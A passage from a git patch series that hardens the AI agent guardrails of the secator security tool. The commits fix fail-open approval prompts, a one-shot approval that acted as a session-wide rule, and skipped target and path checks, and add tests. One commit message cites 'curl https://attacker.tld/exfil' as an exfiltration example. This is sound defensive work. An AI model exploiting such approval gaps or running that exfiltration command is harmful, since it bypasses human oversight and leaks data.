"stale", "_timestamp": 100.0}, + {"answer": "fresh", "_timestamp": 200.0}, + ] + backend = RemoteBackend(timeout=60, query_engine=mock_engine, poll_interval=0.01) + result = backend._poll_for_answer("session1", "permission", prompt_uuid="abc-123") + self.assertEqual(result, "fresh") + @patch('secator.ai.interactivity.sleep') def test_ask_user_returns_on_second_poll(self, mock_sleep): from secator.ai.interactivity import RemoteBackend From a387903bee1ade33dca434c1e316aa53972b7c65 Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Wed, 1 Jul 2026 08:51:48 +0200 Subject: [PATCH 052/129] fix(ai): fail closed when guardrail prompts are exhausted (H10) (#1242) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit ## Finding H10 — guardrail ask-exhaustion fails open **Root cause:** `check_guardrails(action, ctx)` loops re-checking the permission decision, bounded by `max_rounds` (5). If the loop exits because the cap was hit while `result.decision` is still `"ask"` (unresolved), control fell through to `return None`. A `None` return means "no denial", so the caller let the **un-approved action proceed** — fail-open. **Fix:** After the loop, if the decision is still `"ask"`, return a denial string (`"Action denied: guardrail check unresolved after {max_rounds} prompts"`) so the action is blocked. Fail-**closed**. - Explicit `deny` paths already return inside the loop; an `allow`/no-rule action exits with `decision == "allow"`, skips the new guard, and proceeds as before. - Surgical: one post-loop guard, no behavior change to resolved cases. **Validation:** `test_ai_actions.py` 61/61 pass, incl. a new test driving an always-`"ask"` engine past the cap and asserting a denial (not `None`). ## Extra issues surfaced (flagged, not fixed) - **Other ask layers fail open on unexpected answers:** the shell/target/path blocks only deny when `response is None or answer == "deny"`; any other value (typo/unknown choice) falls through to approval. Worth tightening to `answer in {"allow","allow_all"}`. - **`parse_failed` shell path returns `None`** (un-parseable command the user didn't explicitly deny proceeds) — separate fail-open smell, flagged for review. 🤖 Generated with [Claude Code](https://claude.com/claude-code) https://claude.ai/code/session_01NNjPggRSVZ2xnLb7ZxWP5H Co-authored-by: Claude Opus 4.8 --- secator/ai/actions.py | 4 ++++ tests/unit/test_ai_actions.py | 17 +++++++++++++++++ 2 files changed, 21 insertions(+) diff --git a/secator/ai/actions.py b/secator/ai/actions.py index 7cddd7ebc..5ba62bb3f 100644 --- a/secator/ai/actions.py +++ b/secator/ai/actions.py @@ -277,6 +277,10 @@ def check_guardrails(action: Dict, ctx: ActionContext): if result.decision == "deny": return f"Action denied after prompt: {result.reason}" + # fail closed: prompts exhausted with the decision still unresolved -> block (H10) + if result.decision == "ask": + return f"Action denied: guardrail check unresolved after {max_rounds} prompts" + return None diff --git a/tests/unit/test_ai_actions.py b/tests/unit/test_ai_actions.py index 89ffcff53..35b9b7d4f 100644 --- a/tests/unit/test_ai_actions.py +++ b/tests/unit/test_ai_actions.py @@ -986,5 +986,22 @@ def test_run_batch_empty_actions(self): self.assertIsInstance(results[0], Warning) +@unittest.skipUnless(ADDONS_ENABLED['ai'], 'ai addon not installed') +class TestCheckGuardrailsFailClosed(unittest.TestCase): + """H10: prompts exhausted with the decision still 'ask' must fail CLOSED (deny).""" + + def test_unresolved_after_max_rounds_denies(self): + from secator.ai.actions import check_guardrails_sync + # permission engine that never resolves: always 'ask', no shell/target/path layer + res = MagicMock(decision="ask", shell_command="", targets=[], paths=[], reason="needs approval") + engine = MagicMock() + engine.check_action.return_value = res + ctx = ActionContext(targets=['t.com'], model='m') + ctx.permission_engine = engine + denial, _items = check_guardrails_sync({"action": "shell", "command": "x"}, ctx) + self.assertIsNotNone(denial, "exhausted-but-unresolved guardrail must deny, not return None") + self.assertIn("unresolved", denial) + + if __name__ == '__main__': unittest.main() From 8b08cb1e3d91fd7c205fefb218f0e8f6364e0a03 Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Wed, 1 Jul 2026 08:51:52 +0200 Subject: [PATCH 053/129] fix(ai): make "allow this command" a true one-shot, not a session rule (H9) (#1243) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit ## Finding **H9** — "Allow this command" silently grants a session-wide rule. ## Root cause In `secator/ai/guardrails.py`, `prompt_shell` option 0 was labelled "Allow this command" with an in-code comment claiming "one-time, no rule added", but it actually called `add_runtime_allow(["shell()"])`. That persists a **session-wide** allow keyed by command **name**. So after approving `curl https://good.example` once, the agent could later run `curl https://attacker.tld/exfil` (any `curl`) with no prompt. ## Fix Option 0 now returns `"allow"` for the **current invocation only** and adds **no** runtime rule, so the next `curl` re-prompts. The session-wide `add_runtime_allow(["shell()"])` is reserved for the explicit option 1 "Allow all '' commands" (unchanged). The misleading comment is corrected. The decision is consumed per-action by `interactivity.py`, so returning `"allow"` without mutating the engine is a genuine one-shot. ## Validation - `python3 -m py_compile secator/ai/guardrails.py` — OK. - New `TestPromptShell` tests pass (mock the rich menu; no `shfmt` needed): - `test_allow_this_command_is_one_shot` — option 0 leaves `runtime_allow` empty and a second `_check_value("shell", "curl")` still returns `ask`. - `test_allow_all_commands_adds_session_rule` — option 1 still persists `("shell", ["curl"])`. - `test_deny_choice_blocks`, `test_prompt_shell_non_interactive_returns_deny`. - The pre-existing `~50` parser-dependent failures in `test_ai_guardrails.py` (incl. `test_add_runtime_allow`) fail on the base branch too — they require `shfmt` (the safecmd parser), which is not installed in this environment. Confirmed by stashing this change and re-running. ## Extra issues surfaced - The previous behavior used `shell()` as the rule, so a compound approval (`a | b`) would silently allow **every** sub-command name session-wide — a broader version of the same over-grant. Now moot for option 0; option 1 only ever allows the single `prompt_cmd`. - The interactive shell menu has no "deny + remember" / per-target scoping; even option 1's name-only matching ignores args/targets (a known limitation of the shell allow model, out of scope here). 🤖 Generated with [Claude Code](https://claude.com/claude-code) https://claude.ai/code/session_01NNjPggRSVZ2xnLb7ZxWP5H Co-authored-by: Claude Opus 4.8 --- secator/ai/guardrails.py | 5 +--- tests/unit/test_ai_guardrails.py | 50 +++++++++++++++++++++++++++++++- 2 files changed, 50 insertions(+), 5 deletions(-) diff --git a/secator/ai/guardrails.py b/secator/ai/guardrails.py index 41e013078..fabf64a23 100644 --- a/secator/ai/guardrails.py +++ b/secator/ai/guardrails.py @@ -951,10 +951,7 @@ def prompt_shell(self, command: str, reason: str = "", interactive: bool = True) return "deny" idx, _ = result - if idx == 0: # Allow this specific command (one-time, no rule added) - # Add a runtime allow for each cmd name in this command - if cmd_names: - self.add_runtime_allow([f"shell({','.join(cmd_names)})"]) + if idx == 0: # Allow ONLY this invocation — no rule added, next call re-prompts (H9) return "allow" elif idx == 1: # Allow all commands with this name self.add_runtime_allow([f"shell({prompt_cmd})"]) diff --git a/tests/unit/test_ai_guardrails.py b/tests/unit/test_ai_guardrails.py index b2b2ee8c4..23bc74449 100644 --- a/tests/unit/test_ai_guardrails.py +++ b/tests/unit/test_ai_guardrails.py @@ -1,6 +1,6 @@ # tests/unit/test_ai_guardrails.py import unittest -from unittest.mock import patch +from unittest.mock import MagicMock, patch from secator.definitions import ADDONS_ENABLED @@ -411,6 +411,54 @@ def test_prompt_target_deny_choice(self): self.assertEqual(result, "deny") +@unittest.skipUnless(ADDONS_ENABLED['ai'], 'ai addon not installed') +class TestPromptShell(unittest.TestCase): + + def _make_engine(self, allow=None, deny=None, ask=None): + config = {"allow": allow or [], "deny": deny or [], "ask": ask or []} + return PermissionEngine(config) + + def _menu_returning(self, idx): + """Patch the rich menu so .show() yields (idx, label).""" + menu = MagicMock() + menu.return_value.show.return_value = (idx, "") + return menu + + def test_prompt_shell_non_interactive_returns_deny(self): + engine = self._make_engine(ask=["shell(*)"]) + self.assertEqual(engine.prompt_shell("curl https://x", interactive=False), "deny") + + def test_allow_this_command_is_one_shot(self): + """Option 0 approves ONLY this invocation — no session rule; the next call re-prompts (H9).""" + engine = self._make_engine(ask=["shell(*)"]) + with patch('secator.rich.InteractiveMenu', self._menu_returning(0)), \ + patch('secator.ai.guardrails._extract_cmd_names', return_value=["curl"]): + result = engine.prompt_shell("curl https://good.example") + self.assertEqual(result, "allow") + # No runtime rule was added, so a second, different-arg curl is NOT auto-allowed + self.assertEqual(engine.runtime_allow, []) + self.assertEqual(engine._check_value("shell", "curl").decision, "ask") + + def test_allow_all_commands_adds_session_rule(self): + """Option 1 persists a session-wide allow for the command name (unchanged).""" + engine = self._make_engine(ask=["shell(*)"]) + with patch('secator.rich.InteractiveMenu', self._menu_returning(1)), \ + patch('secator.ai.guardrails._extract_cmd_names', return_value=["curl"]): + result = engine.prompt_shell("curl https://good.example") + self.assertEqual(result, "allow") + self.assertEqual(engine.runtime_allow, [("shell", ["curl"])]) + # Now any curl is auto-allowed for the session + self.assertEqual(engine._check_value("shell", "curl").decision, "allow") + + def test_deny_choice_blocks(self): + engine = self._make_engine(ask=["shell(*)"]) + with patch('secator.rich.InteractiveMenu', self._menu_returning(2)), \ + patch('secator.ai.guardrails._extract_cmd_names', return_value=["curl"]): + result = engine.prompt_shell("curl https://good.example") + self.assertEqual(result, "deny") + self.assertEqual(engine.runtime_allow, []) + + @unittest.skipUnless(ADDONS_ENABLED['ai'], 'ai addon not installed') class TestGuardrailsIntegration(unittest.TestCase): From 61608b1cf6ad392ef1d939550023e98a2c8cdca4 Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Wed, 1 Jul 2026 08:51:55 +0200 Subject: [PATCH 054/129] fix(ai): make history trim/compact tool-pair-aware to avoid orphan tool messages (H2) (#1244) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit ## Finding **H2** — truncation/compaction splits `tool_call`↔`tool_result` pairs, producing a leading orphan `tool` message that Anthropic/OpenAI reject with a 400 ("tool_result without matching tool_use"), which kills long AI sessions. ## Root cause `max_tokens_total` defaults to 100000 (>0), so `ChatHistory.to_messages()` runs litellm `trim_messages` every iteration. litellm drops the OLDEST messages with **no tool-pairing awareness**, so the kept window can START with a `tool` (tool_result) message whose preceding `assistant(tool_calls)` was dropped → a **leading orphan tool message**. `ChatHistory.compact()`'s blind `keep_last=N` tail cut has the same defect (the kept tail can begin on a `tool` whose parent fell into the summarized half). The existing `_repair_orphan_tool_uses` only fixed the FORWARD case (assistant tool_calls missing a result), never a leading orphan tool. ## Fix - Added `_strip_leading_orphan_tools()` in `secator/ai/utils.py`: preserves system messages, then drops the run of leading `tool` messages that have no parent in the window. - Extended `_repair_orphan_tool_uses()` to call it first, so the existing `call_llm` safety-net/retry path also repairs leading orphans (count is included in the return value). - `ChatHistory.trim()` (history.py) now strips leading orphan tools after `trim_messages`. - `ChatHistory.compact()` strips leading orphan tools from the kept tail (`to_keep`) before rebuilding, so the rebuilt window never begins on an orphan tool_result. System prompt and tool_call_id↔tool pairing are preserved. ## Validation - `python3 -m py_compile secator/ai/history.py secator/ai/utils.py` — OK. - `pytest tests/unit/test_ai_tokens.py -q` → 19 passed, 1 failed. The single failure (`test_loop_sums_token_usage`, 100 vs 600) is **pre-existing on base** (`ai-resiliency`), unrelated to this change. - Added `TestAiToolPairTrim` (4 focused tests): the helper keeps system + drops leading tools; `_repair_orphan_tool_uses` repairs a leading orphan; `trim()` and `compact()` each, given a history that would otherwise leave a leading `tool`, repair so the first non-system message is a valid `user`/`assistant`. ## Extra issues surfaced None directly observed beyond H2. Note (not fixed here): the pre-existing `test_loop_sums_token_usage` failure on base suggests the end-to-end loop token-accounting (multi-turn summation) may have regressed independently — worth a separate look, but out of scope for this PR. 🤖 Generated with [Claude Code](https://claude.com/claude-code) https://claude.ai/code/session_01NNjPggRSVZ2xnLb7ZxWP5H Co-authored-by: Claude Opus 4.8 --- secator/ai/history.py | 13 ++++++- secator/ai/utils.py | 42 +++++++++++++++++++--- tests/unit/test_ai_tokens.py | 68 ++++++++++++++++++++++++++++++++++++ 3 files changed, 117 insertions(+), 6 deletions(-) diff --git a/secator/ai/history.py b/secator/ai/history.py index 89a7d7105..dcd0af49f 100644 --- a/secator/ai/history.py +++ b/secator/ai/history.py @@ -208,11 +208,17 @@ def trim(self, max_tokens: int) -> List[Dict[str, str]]: Trimmed list of messages. """ from litellm.utils import trim_messages + from secator.ai.utils import _strip_leading_orphan_tools from secator.rich import console from secator.output_types import Warning original_count = len(self.messages) trimmed = trim_messages(self.messages, max_tokens=max_tokens) + + # litellm drops the OLDEST messages with no tool-pairing awareness, so the + # kept window can START with an orphan tool_result whose assistant(tool_calls) + # parent was dropped — Anthropic/OpenAI reject that. Drop leading orphans. + _strip_leading_orphan_tools(trimmed) dropped = original_count - len(trimmed) if dropped: @@ -381,10 +387,15 @@ def compact(self, model: str, api_base: Optional[str] = None, to_summarize = rest to_keep = [] - from secator.ai.utils import call_llm + from secator.ai.utils import call_llm, _strip_leading_orphan_tools from secator.rich import console from secator.utils import format_token_count + # The blind keep_last tail cut can leave to_keep STARTING with a tool_result + # whose assistant(tool_calls) parent fell into to_summarize — strip those so + # the rebuilt window never begins on an orphan tool_result. + _strip_leading_orphan_tools(to_keep) + # Calculate target summary size based on available context context_window = get_context_window(model) usable = context_window - OUTPUT_TOKEN_RESERVATION diff --git a/secator/ai/utils.py b/secator/ai/utils.py index 9c4968327..ebbe1c3c2 100644 --- a/secator/ai/utils.py +++ b/secator/ai/utils.py @@ -14,18 +14,50 @@ _llm_initialized = False +def _strip_leading_orphan_tools(messages: List[Dict]) -> int: + """Drop leading 'tool' (tool_result) messages with no preceding tool_use. + + Truncation/compaction drops the OLDEST messages with no tool-pairing + awareness, so the kept window can START with a tool_result whose + assistant(tool_calls) parent was dropped. Anthropic/OpenAI reject such a + leading orphan tool_result ("tool_result without matching tool_use"). + System messages are preserved; we scan past them and drop the run of + leading 'tool' messages that follows. Mutates `messages` in place. + + Args: + messages: List of message dicts in litellm/OpenAI format. + + Returns: + Number of leading orphan tool messages removed. + """ + i = 0 + while i < len(messages) and messages[i].get("role") == "system": + i += 1 + removed = 0 + while i < len(messages) and messages[i].get("role") == "tool": + messages.pop(i) + removed += 1 + return removed + + def _repair_orphan_tool_uses(messages: List[Dict]) -> int: - """Insert synthetic tool_result messages for orphan assistant tool_use blocks. + """Repair orphan tool_use/tool_result pairing for Anthropic/OpenAI. - Anthropic rejects requests where an assistant tool_use block is not - immediately followed by a matching tool_result. Mutates `messages` in place. + Two defects are fixed (both mutate `messages` in place): + - LEADING orphan tool_results: a kept window starting with a tool_result + whose assistant(tool_calls) parent was trimmed away (see + `_strip_leading_orphan_tools`). + - FORWARD orphan tool_uses: an assistant tool_use block not immediately + followed by a matching tool_result (synthesize an acknowledged result). Args: messages: List of message dicts in litellm/OpenAI format. Returns: - Number of synthetic tool_results inserted. + Number of messages removed or synthetic tool_results inserted. """ + # Leading orphan tool_results have no parent in this window — drop them. + repaired = _strip_leading_orphan_tools(messages) inserted = 0 i = 0 while i < len(messages): @@ -69,7 +101,7 @@ def _repair_orphan_tool_uses(messages: List[Dict]) -> int: j += len(to_insert) i = j - return inserted + return repaired + inserted def init_llm(api_key: Optional[str] = None): diff --git a/tests/unit/test_ai_tokens.py b/tests/unit/test_ai_tokens.py index 9881107ba..3c10c35f5 100644 --- a/tests/unit/test_ai_tokens.py +++ b/tests/unit/test_ai_tokens.py @@ -418,5 +418,73 @@ def always_rate_limited(*args, **kwargs): self.assertIn("Rate limit", errors[-1].message) +@unittest.skipUnless(HAS_AI, 'ai addon required') +class TestAiToolPairTrim(unittest.TestCase): + """Trim/compaction must not leave a leading orphan tool_result (H2). + + litellm trim_messages and the blind keep_last tail cut drop the OLDEST + messages with no tool-pairing awareness, so the kept window can START with a + tool_result whose assistant(tool_calls) parent was dropped — which + Anthropic/OpenAI reject. The fix strips those leading orphans. + """ + + def test_strip_leading_orphan_tools_keeps_system(self): + from secator.ai.utils import _strip_leading_orphan_tools + msgs = [ + {"role": "system", "content": "s"}, + {"role": "tool", "tool_call_id": "t1", "content": "{}"}, + {"role": "tool", "tool_call_id": "t2", "content": "{}"}, + {"role": "user", "content": "u"}, + ] + removed = _strip_leading_orphan_tools(msgs) + self.assertEqual(removed, 2) + self.assertEqual([m["role"] for m in msgs], ["system", "user"]) + + def test_repair_handles_leading_orphan_tool(self): + from secator.ai.utils import _repair_orphan_tool_uses + msgs = [ + {"role": "tool", "tool_call_id": "t1", "content": "{}"}, + {"role": "user", "content": "u"}, + ] + n = _repair_orphan_tool_uses(msgs) + self.assertEqual(n, 1) + self.assertEqual(msgs[0]["role"], "user") + + def test_trim_strips_leading_orphan_tool(self): + """After litellm drops the assistant parent, trim() removes the orphan tool.""" + history = ChatHistory(model="test-model") + history.add_system("sys") + history.add_assistant_with_tool_calls(None, [{"id": "t1", "function": {"name": "noop", "arguments": "{}"}}]) + history.add_tool_result("noop", "t1", "{}") + history.add_user("u1") + history.add_assistant("a1") + # Simulate litellm dropping the oldest (assistant parent) but keeping its tool_result. + simulated = [history.messages[0], history.messages[2], history.messages[3], history.messages[4]] + with patch('litellm.utils.trim_messages', return_value=simulated): + out = history.trim(100) + nonsys = [m for m in out if m["role"] != "system"] + self.assertEqual(nonsys[0]["role"], "user") + self.assertFalse(any(m["role"] == "tool" for m in out)) + + def test_compact_strips_leading_orphan_tool_in_kept_tail(self): + """keep_last tail cut that starts on a tool_result is repaired.""" + history = ChatHistory(model="test-model") + history.add_system("sys") + history.add_user("u1") + history.add_assistant_with_tool_calls(None, [{"id": "t1", "function": {"name": "noop", "arguments": "{}"}}]) + history.add_tool_result("noop", "t1", "{}") + history.add_assistant("a2") + history.add_user("u2") + + fake = {"content": "summary", "usage": None} + with patch('secator.ai.utils.call_llm', return_value=fake): + with patch('secator.ai.history.get_context_window', return_value=8000): + history.compact("test-model", keep_last=3) + + nonsys = [m for m in history.messages if m["role"] != "system"] + self.assertIn(nonsys[0]["role"], ("user", "assistant")) + self.assertFalse(any(m["role"] == "tool" for m in history.messages)) + + if __name__ == '__main__': unittest.main() From a473e1f03432236b8b5a8f824290288b42cec2d6 Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Wed, 1 Jul 2026 08:51:59 +0200 Subject: [PATCH 055/129] fix(ai): close the answer/timeout race and stop stale pending docs accumulating (M10) (#1245) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit ## Finding **M10 — channel hygiene** in `RemoteBackend` (`secator/ai/interactivity.py`). Two self-contained robustness bugs in the remote AI prompt poll/timeout path. ## Root cause 1. **Timeout race strands a just-submitted answer.** `_poll_for_answer` exited the loop on `elapsed >= timeout` with NO final search, then flipped `{...status:"pending"} -> "timed_out"`. If the user answered during the last `sleep` (or between the last search and the flip), the doc was already `answered`; the pending->timed_out update no-op'd but the worker still returned `None` and abandoned the turn — the answer was silently lost. 2. **Stale `pending` docs accumulate.** A worker that dies mid-poll leaves a `pending` doc forever (UI shows perpetual "thinking"), and `crud.answer_ai_prompt`'s "latest pending" can collide with stale pendings. ## Fix - **Answer/timeout race:** added one final scoped `status:"answered"` search after the loop before giving up. The timeout flip was already filtered on `status:"pending"` (atomic in Mongo); now we capture its modified-count and, when it no-ops (0 rows -> the doc is already `answered`), re-read the answer instead of returning `None`. Factored the newest-by-`_timestamp` resolution into `_resolve_answer`. - **Stale pendings:** `build_pending_prompt` now calls `_expire_stale_pending(session_id)` before the new doc is persisted, flipping any older still-`pending` doc for that session to `timed_out`. Sequential layers stay safe (each prior layer is already `answered` before the next prompt is built), and the new doc isn't in the DB yet so it can't self-clobber. Guards on a missing `query_engine`. - `prompt_uuid` scoping (H7) is preserved throughout. **FLAG (follow-up, NOT done here):** a DB-layer TTL index on pending `Ai` docs is the durable reaper — belongs to the DB layer, out of scope for this in-file fix. Noted inline in `_expire_stale_pending`. ## Validation - `python3 -m py_compile secator/ai/interactivity.py` — OK - `pytest tests/unit/test_ai_interactivity.py -q` — **26 passed** - Added focused tests: (a) an answer landing in the final window is returned, not lost to timeout; (b) a no-op timeout flip re-reads the raced-in answer; (c) starting a new prompt marks prior still-pending docs stale; (d) `_expire_stale_pending` no-ops without an engine. ## Extra issues surfaced None observed in the owned file beyond M10. (No C3/H3/H5 evidence in `interactivity.py`.) 🤖 Generated with [Claude Code](https://claude.com/claude-code) https://claude.ai/code/session_01NNjPggRSVZ2xnLb7ZxWP5H Co-authored-by: Claude Opus 4.8 --- secator/ai/interactivity.py | 61 +++++++++++++++++++++++---- tests/unit/test_ai_interactivity.py | 65 +++++++++++++++++++++++++++++ 2 files changed, 119 insertions(+), 7 deletions(-) diff --git a/secator/ai/interactivity.py b/secator/ai/interactivity.py index 297ab8574..7deb84cbd 100644 --- a/secator/ai/interactivity.py +++ b/secator/ai/interactivity.py @@ -115,6 +115,10 @@ def build_pending_prompt(self, question, choices, session_id, prompt_type="follo prompt_uuid = context.get("prompt_uuid") if prompt_uuid: extra_data["prompt_uuid"] = prompt_uuid + # A new prompt for this session supersedes any older still-pending one + # (e.g. a worker that died mid-poll). Expire them BEFORE this doc is + # persisted so only the current prompt stays live (M10). + self._expire_stale_pending(session_id) return Ai( content=question, ai_type=prompt_type, @@ -157,23 +161,66 @@ def _poll_for_answer(self, session_id, prompt_type, prompt_uuid=None): if prompt_uuid: base["extra_data.prompt_uuid"] = prompt_uuid + answered_query = {**base, "status": "answered"} elapsed = 0 while elapsed < self.timeout: - results = self.query_engine.search({**base, "status": "answered"}) - if results: - # resolve against the newest answered doc as a backstop against stale answers - newest = max(results, key=lambda r: r.get("_timestamp", 0)) - return newest.get("answer") + answer = self._resolve_answer(answered_query) + if answer is not None: + return answer sleep(self.poll_interval) elapsed += self.poll_interval - # Timeout: flip ONLY this prompt's still-pending doc to timed_out, so a + # One final search before giving up: the user may have answered during + # the last sleep (or between the last search and now). Without this the + # answer is silently stranded (M10). + answer = self._resolve_answer(answered_query) + if answer is not None: + return answer + # Timeout: atomically flip ONLY a doc that is STILL pending, so a # concurrent/older pending doc for the same session isn't disturbed. - self.query_engine.update( + # If the answer landed in the race window the doc is already 'answered' + # and this no-ops (modified == 0) — re-read rather than abandon it (M10). + modified = self.query_engine.update( {**base, "status": "pending"}, {"$set": {"status": "timed_out"}} ) + if not modified: + answer = self._resolve_answer(answered_query) + if answer is not None: + return answer return None + def _resolve_answer(self, answered_query): + """Return the newest answered doc's answer, or None if none answered. + + Resolving against the newest by ``_timestamp`` is a backstop against + stale answers. + """ + results = self.query_engine.search(answered_query) + if not results: + return None + newest = max(results, key=lambda r: r.get("_timestamp", 0)) + return newest.get("answer") + + def _expire_stale_pending(self, session_id): + """Mark any older still-pending prompt for this session as timed_out. + + Called when a NEW prompt starts (before it is persisted), so it only + affects prior prompts. Stops stale 'pending' docs from accumulating — + a worker that dies mid-poll otherwise leaves the UI 'thinking' forever + and lets crud.answer_ai_prompt's "latest pending" collide (M10). + FLAG: a DB-layer TTL index on pending Ai docs is the durable follow-up. + """ + if not self.query_engine: + return + self.query_engine.update( + { + "_type": "ai", + "_context.session_id": session_id, + "status": "pending", + }, + {"$set": {"status": "timed_out"}}, + ) + @staticmethod def _add_permission_rules(engine, ptype, value): """Add runtime allow rules after a remote permission approval.""" diff --git a/tests/unit/test_ai_interactivity.py b/tests/unit/test_ai_interactivity.py index ad503a879..8eea0fb92 100644 --- a/tests/unit/test_ai_interactivity.py +++ b/tests/unit/test_ai_interactivity.py @@ -219,6 +219,71 @@ def test_ask_user_returns_on_second_poll(self, mock_sleep): self.assertEqual(result["answer"], "option B") self.assertEqual(mock_sleep.call_count, 1) + @patch('secator.ai.interactivity.sleep') + def test_answer_in_final_window_is_not_lost_to_timeout(self, mock_sleep): + """M10: an answer landing in the last sleep window is returned, not lost. + + The poll loop sees only 'pending' until the loop exits, then the answer + appears. The final post-loop search must pick it up rather than abandon + the turn. + """ + from secator.ai.interactivity import RemoteBackend + answered_doc = [{"answer": "landed late", "_timestamp": 100.0}] + + def fake_search(query, *args, **kwargs): + # Answer only becomes visible AFTER the single poll iteration. + return list(answered_doc) if mock_sleep.call_count >= 1 else [] + + mock_engine = MagicMock() + mock_engine.search.side_effect = fake_search + mock_engine.update.return_value = 0 + backend = RemoteBackend(timeout=5, query_engine=mock_engine, poll_interval=5) + + result = backend.ask_user("What next?", [], "session1", prompt_uuid="abc-123") + + self.assertIsNotNone(result) + self.assertEqual(result["answer"], "landed late") + + @patch('secator.ai.interactivity.sleep') + def test_timeout_noop_flip_rereads_answer(self, mock_sleep): + """M10: if the timeout flip modifies 0 rows, re-read the answer.""" + from secator.ai.interactivity import RemoteBackend + # Empty during the loop AND at the first final search, then the answer + # appears right as we attempt the (no-op) flip. + searches = [[], [], [{"answer": "raced in", "_timestamp": 1.0}]] + mock_engine = MagicMock() + mock_engine.search.side_effect = lambda *a, **k: searches.pop(0) if searches else [] + mock_engine.update.return_value = 0 # nothing pending -> already answered + backend = RemoteBackend(timeout=5, query_engine=mock_engine, poll_interval=5) + + result = backend._poll_for_answer("session1", "permission", prompt_uuid="abc-123") + self.assertEqual(result, "raced in") + + def test_build_pending_prompt_expires_prior_pending(self): + """M10: starting a new prompt marks prior still-pending docs stale.""" + from secator.ai.interactivity import RemoteBackend + mock_engine = MagicMock() + backend = RemoteBackend(timeout=60, query_engine=mock_engine) + + backend.build_pending_prompt( + "Target x requires approval", ["allow", "deny"], "session1", + prompt_type="permission", permission_type="target", value="x", + prompt_uuid="uuid-new", + ) + + # An update flipping this session's pending docs to timed_out must fire. + mock_engine.update.assert_called_once() + flip_query, flip_update = mock_engine.update.call_args[0] + self.assertEqual(flip_query.get("_context.session_id"), "session1") + self.assertEqual(flip_query.get("status"), "pending") + self.assertEqual(flip_update, {"$set": {"status": "timed_out"}}) + + def test_expire_stale_pending_noop_without_engine(self): + """No query engine -> no crash, no update.""" + from secator.ai.interactivity import RemoteBackend + backend = RemoteBackend(timeout=60, query_engine=None) + backend._expire_stale_pending("session1") # must not raise + class TestCreateBackend(unittest.TestCase): """Verify create_backend factory.""" From f631a86dc31ed2d1a377aae930dffda7f715ab70 Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Wed, 1 Jul 2026 14:17:46 +0200 Subject: [PATCH 056/129] fix(ai): default-safe target/path guardrail dimensions (M6) (#1246) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit ## Finding — M6: Target/path enforcement is opt-in (default-allow) Severity High-ish / P1 (Security). In the AI guardrail `PermissionEngine`, some enforcement dimensions (target, read/write path) only took effect when a rule for that dimension was configured. Removing a catch-all config line (e.g. `ask: target(*)`) flipped that dimension to **default-allow** — the check was skipped and the action silently fell through to ALLOW instead of ask/deny. This is fail-open. ## Root cause `secator/ai/guardrails.py`, `PermissionEngine.check_action`: - Step 2 (targets): `if targets_to_check and self._has_rules_for("target")` — the `_has_rules_for` gate skipped the entire target check when no target rule existed, so unknown targets were allowed. - Step 3 (paths): `if paths_with_access and (self._has_rules_for("read") or self._has_rules_for("write"))` — same fail-open for read/write paths. Confirmed against the code: with `allow=["task(*)"]` and no `target(...)` rule, `check_action({"action":"task","name":"nmap","targets":["10.5.2.3"]})` returned `allow` before this change. ## Fix Drop both `_has_rules_for` gates so a dimension is always evaluated when there are values to check. When no rule matches, the existing `_check_value` returns a `"No rule for ..."` result which `check_action` / `_check_values` already resolve to **`ask`** (the established fail-safe default in this file) — so the fix reuses the existing decision model rather than introducing a new one. Behavior is unchanged when the catch-all IS present (the gate was already True then). The now-unused `_has_rules_for` helper is removed. Net diff: +11 / -11. ## Tests Added `test_target_no_catchall_asks_not_allows` proving an unknown target now **asks** (not allows) when no target catch-all is configured. It uses a `task` action so it does not depend on the `shfmt`/`safecmd` shell parser (absent locally). Baseline vs after (`tests/unit/test_ai_guardrails.py`, venv): - Before: **55 failed, 74 passed** - After: **55 failed, 75 passed** (+1 = the new test) - The 55 failures are pre-existing/environmental (missing `shfmt` → `safecmd` parse failures in `TestEdgeCases`), identical set before and after — verified by diffing the failing-test names. No regression. Note: the path-dimension fix is the same mechanism; it cannot be exercised by a passing local test because path detection also needs `shfmt`, which short-circuits shell actions to `ask` at step 1 locally. 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-authored-by: Claude Opus 4.8 --- secator/ai/guardrails.py | 15 ++++----------- tests/unit/test_ai_guardrails.py | 7 +++++++ 2 files changed, 11 insertions(+), 11 deletions(-) diff --git a/secator/ai/guardrails.py b/secator/ai/guardrails.py index fabf64a23..88382f3a6 100644 --- a/secator/ai/guardrails.py +++ b/secator/ai/guardrails.py @@ -611,9 +611,10 @@ def check_action(self, action: Dict) -> PermissionResult: if result.decision in ("deny", "ask"): return result - # Step 2: Check targets (only if target rules are configured) + # Step 2: Check targets. M6: always enforce when targets exist — a missing + # catch-all must fall to ask (via _check_values "No rule"), never default-allow. targets_to_check = self._extract_targets(action) - if targets_to_check and self._has_rules_for("target"): + if targets_to_check: target_result = self._check_values("target", targets_to_check) if target_result.decision == "deny": return target_result @@ -628,7 +629,7 @@ def check_action(self, action: Dict) -> PermissionResult: if action_type == "shell": command = action.get("command", "") paths_with_access = detect_paths_with_access(command) - if paths_with_access and (self._has_rules_for("read") or self._has_rules_for("write")): + if paths_with_access: # M6: always enforce — no read/write rule must ask, not allow # Check each path with its correct access type ask_paths = [] for path, access in paths_with_access: @@ -670,14 +671,6 @@ def check_action(self, action: Dict) -> PermissionResult: return PermissionResult(decision="deny", reason=f"No matching rule for {action_type}") - def _has_rules_for(self, rule_type: str) -> bool: - """Check if any rules exist for the given rule type.""" - for category in ("allow", "deny", "ask"): - for rt, _ in self.rules[category]: - if rt == rule_type: - return True - return any(rt == rule_type for rt, _ in self.runtime_allow) - def _check_action_type(self, action_type: str, action: Dict) -> PermissionResult: """Check if the action type is allowed/denied/ask. diff --git a/tests/unit/test_ai_guardrails.py b/tests/unit/test_ai_guardrails.py index 23bc74449..3cfd8d264 100644 --- a/tests/unit/test_ai_guardrails.py +++ b/tests/unit/test_ai_guardrails.py @@ 